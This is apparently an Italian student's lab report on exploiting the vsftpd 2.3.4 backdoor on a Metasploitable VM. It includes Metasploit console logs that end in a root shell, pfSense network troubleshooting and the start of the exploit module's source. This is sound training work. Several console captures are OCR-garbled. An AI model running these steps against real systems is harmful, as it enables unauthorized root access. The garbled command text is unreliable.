Relazione 16-12

Per prima cosa ho modificato l'indirizzo ip meta con 192.168.1.149 e kali con 192.168.1.148

```
SIOCADDRT: No such process
ailed to bring up eth0.
                                                                              [ OK ]
msfadmin@metasploitable:~$ ifconfig
          Link encap:Ethernet HWaddr 08:00:27:60:1e:3e
          inet addr: 192.168.1.149 Bcast: 192.168.1.255 Mask: 255.255.255.0
          inet6 addr: fe80::a00:27ff:fe60:1e3e/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:541 errors:0 dropped:0 overruns:0 frame:0 TX packets:134 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:39404 (38.4 KB) TX bytes:16619 (16.2 KB)
          Base address: 0xd010 Memory: f0200000-f0220000
lo
          Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING MTU:16436
                                            Metric:1
          RX packets:411 errors:0 dropped:0 overruns:0 frame:0
          TX packets:411 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:176117 (171.9 KB) TX bytes:176117 (171.9 KB)
```

```
(kali@ kali)-[~]
$ ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00 brd 00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:ad:25:87 brd ff:ff:ff:fff
    inet 192.168.1.10/24 brd 192.168.1.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::b042:64ab:8995:eedb/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

Dopo aver avviato **msfconsole** su Kali Linux, ho utilizzato il comando search vsftpd per individuare il modulo exploit correlato. Successivamente, ho eseguito il comando use exploit/unix/ftp/vsftpd_234_backdoor per selezionare l'exploit appropriato. Ho avviato l'exploit digitando il comando exploit.

Una volta completata l'operazione, ho utilizzato i seguenti comandi per navigare nel sistema di destinazione:

- Is per elencare i file e le directory disponibili.
- cd /root per accedere alla directory principale dell'utente root.
- mkdir /test_metasploit per creare una nuova cartella chiamata test_metasploit all'interno della directory corrente.

```
Metasploit tip: Start commands with a space to avoid saving them to history
 I love shells --egypt
 =[ metasploit v6.4.38-dev
+ -- --=[ 2467 exploits - 1273 auxiliary - 431 post
+ -- --=[ 1478 payloads - 49 encoders - 13 nops
+ -- --=[ 9 evasion
 Metasploit Documentation: https://docs.metasploit.com/
 msf6 > serch vsftpd
[--] Unknown command: serch. Did you mean search? Run the help command for more details.
 msf6 > search vsftpd
 Matching Modules
      # Name
                                                                              Disclosure Date Rank
          auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No
                                                                                                                                            VSFTPD 2.3.2 Denial of Service
VSFTPD v2.3.4 Backdoor Command Execution
  Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
 -j 192.168.1.149:21 - Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.1.149:21) was unreachable.
*j Exploit completed, but no session was created.
s<u>f6</u> exploit(<u>unix/ftp/wsftpd_216_backdoor</u>) > exploit
 *] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)

*] 192.168.1.149:21 - USER: 331 Please specify the password.

*] 192.168.1.149:21 - Backdoor service has been spawned, handling...

*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)

*] Found shell.

*] Command shell session 1 opened (192.168.1.10:36317 → 192.168.1.149:6200) at 2024-12-16 11:52:02 -0500
=s0+l5-f1
bin
boot
cdrom
atc
nome
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
var
wmlinuz
cd /root
mkdir test_metasploit
mkdir: cannot create directory `test_metasploit': File exists
```

Avevo inizialmente provato un altro approccio ma non so se è corretto o se è fattibile:

Per prima cosa ho modificato l'indirizzo ip metaspotable con 192.168.1.149 e ho provato inserendo le regole sulla pfsense in modo che comunicassero le due macchine.

led to bring	uch process up eth0. [OK
0 Link inet inet6 UP BR RX pa TX pa colli RX by	loitable: \$\frac{1}{2}\$ ifconfig encap:Ethernet HWaddr 08:00:27:60:1e:3e addr:192.168.1.149 Bcast:192.168.1.255 Mask:255.255.255.0 addr: fe80::a00:27ff:fe60:1e3e/64 Scope:Link OADCAST RUNNING MULTICAST MTU:1500 Metric:1 ckets:541 errors:0 dropped:0 overruns:0 frame:0 ckets:134 errors:0 dropped:0 overruns:0 carrier:0 sions:0 txqueuelen:1000 tes:39404 (38.4 KB) TX bytes:16619 (16.2 KB) address:0xd010 Memory:f0200000-f0220000
inet inet6 UP LO RX pa TX pa colli	encap:Local Loopback addr:127.0.0.1 Mask:255.0.0.0 addr: ::1/128 Scope:Host OPBACK RUNNING MTU:16436 Metric:1 ckets:411 errors:0 dropped:0 overruns:0 frame:0 ckets:411 errors:0 dropped:0 overruns:0 carrier:0 sions:0 txqueuelen:0 tes:176117 (171.9 KB) TX bytes:176117 (171.9 KB)
of sense System	▼ Interfaces ▼ Firewall ▼ Services ▼ VPN ▼ Status ▼ Diagnostics ▼ Help ▼
Diagnostics / Pil	ng
Diagnostics / Pil Ping Hostname	192.168.1.149
Diagnostics / Pin Ping Hostname IP Protocol	192.168.1.149 IPv4 V
Diagnostics / Pil Ping Hostname	192.168.1.149
Diagnostics / Pin Ping Hostname IP Protocol	192.168.1.149 IPv4 Automatically selected (default)
Diagnostics / Pil Ping Hostname IP Protocol Source address Maximum number of	192.168.1.149 IPv4 Automatically selected (default) Select source address for the ping.
Ping Hostname IP Protocol Source address Maximum number of pings	192.168.1.149 IPv4 Automatically selected (default) Select source address for the ping. 3 Select the maximum number of pings.
Ping Hostname IP Protocol Source address Maximum number of pings	192.168.1.149 IPv4 Automatically selected (default) Select source address for the ping. 3 Select the maximum number of pings.
Ping Hostname IP Protocol Source address Maximum number of pings	192.168.1.149 IPv4 Automatically selected (default) Select source address for the ping. 3 Select the maximum number of pings.
Diagnostics / Pil Ping Hostname IP Protocol Source address Maximum number of pings Seconds between pings Results PING 192.168.1.149 (164 bytes from 192.168 64 bytes from 192.168 64 bytes from 192.168 66 67 bytes from 192.168 67 bytes	192.168.1.149 IPv4 Automatically selected (default) Select source address for the ping. 3 Select the maximum number of pings.

ma nel momento in cui inserivo il comando exploit mi dava errore, ci ho provato 200 volte e niente, ho messo l'ip vecchio alla metasploit e mi ha funzionato (e dopo ho cambiato tutti gli IP)

```
[-] 192.168.1.149:21 - Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.1.149:21) was unreachable.
[*] Exploit completed, but no session was created.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
```

```
-[metasploit v6.4.38-dev
---[2467 exploits - 1273 auxiliary - 431 post
----=[1478 payloads - 49 encoders - 13 nops
-----[9 evasion
   msf6 > search vsftpd
   Matching Modules
                                                                                                                                                                                                                        normal
            normal Yes VSFTPD 2.3.2 Denial of Service excellent No VSFTPD v2.3.4 Backdoor Command Execution
 Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
 msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options
   Module options (exploit/unix/ftp/vsftpd_234_backdoor):
            Name Current Setting Required Description
           CHOST
CPORT
Proxies
RHOSTS
RPORT 21
                                                                                                                                 The local client address
The local client port
A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)
 Exploit target:
            0 Automatic
  \frac{msf6}{RHOSTS} \Rightarrow 192.168.50.101
\frac{msf6}{msf5} \exp \log (\frac{mix/ftp/vsftpd_234_backdoor}{msf6}) > \exp (\frac{mix/ftp/vsftpd_234_bac
msf6 exploit(mix/ftp/vsftpd_224_backdoor) > exploit

[*] 192_168_50.101:21 - Banner: 220 (vsFTPd 2_3_4)

[*] 192_168_50.101:21 - USER: 331 Please specify the password.

[*] 192_168_50.101:21 - Backdoor service has been spawned, handling...

[*] Found shell.

Is
                                                                                                                               or) > exploit
     s
*| Command shell session 1 opened (192.168.50.100:46819 → 192.168.50.101:6200) at 2024-12-16 11:11:17 -0500
  -sut-15-f1
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
  cd /root
Desktop
reset_logs.sh
  vnc.log
mkdir test_metasploit
   ls -l
   total 16
```

L'obiettivo è sfruttare la vulnerabilità della versione **vsftpd 2.3.4** attraverso l'exploit exploit/unix/ftp/vsftpd_234_backdoor disponibile in Metasploit per ottenere accesso al sistema di destinazione. Inoltre, è stato effettuato un esame del codice exploit per comprenderne il funzionamento al fine di replicarne l'effetto manualmente.

Il comando edit apre l'editor predefinito (generalmente vim o nano) per esaminare il codice sorgente dell'exploit. L'analisi del codice è fondamentale per comprendere come funziona l'exploit e quali componenti sono coinvolti nella vulnerabilità.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > edit
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
 [=1 Msf::OptionValidateError One or more options failed to validate: RHOSTS.
msf6 exploit(unix/fup/vsfipd_204_backdoor) > options
  Module options (exploit/unix/ftp/vsftpd_234_backdoor):
       CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
 Exploit target:
\begin{array}{l} \underline{\mathsf{msf6}} \; \mathsf{exploit}(\mathsf{unix/ftp/vsftpd_234\_backdoor}) \; > \; \mathsf{set} \; \mathsf{RHOSTS} \; \; \mathsf{192.168.1.149} \\ \mathsf{RHOSTS} \; \Rightarrow \; \mathsf{192.168.1.149} \\ \underline{\mathsf{msf6}} \; \mathsf{exploit}(\mathsf{unix/ftp/vsftpd_234\_backdoor}) \; > \; \mathsf{edit} \\ \underline{\mathsf{msf6}} \; \mathsf{exploit}(\mathsf{unix/ftp/vsftpd_234\_backdoor}) \; > \; \mathsf{exploit} \\ \end{array}
 [*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
   [*] Command shell session 1 opened (192.168.1.10:44753 → 192.168.1.149:6200) at 2024-12-16 13:15:15 -0500
  class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking</pre>
       def initialize(info = {})
  super(update_info(info,
                 },
'Author' ⇒ ['hdm', 'MC'],
'License' ⇒ MSF_LICENSE,
'References' ⇒
```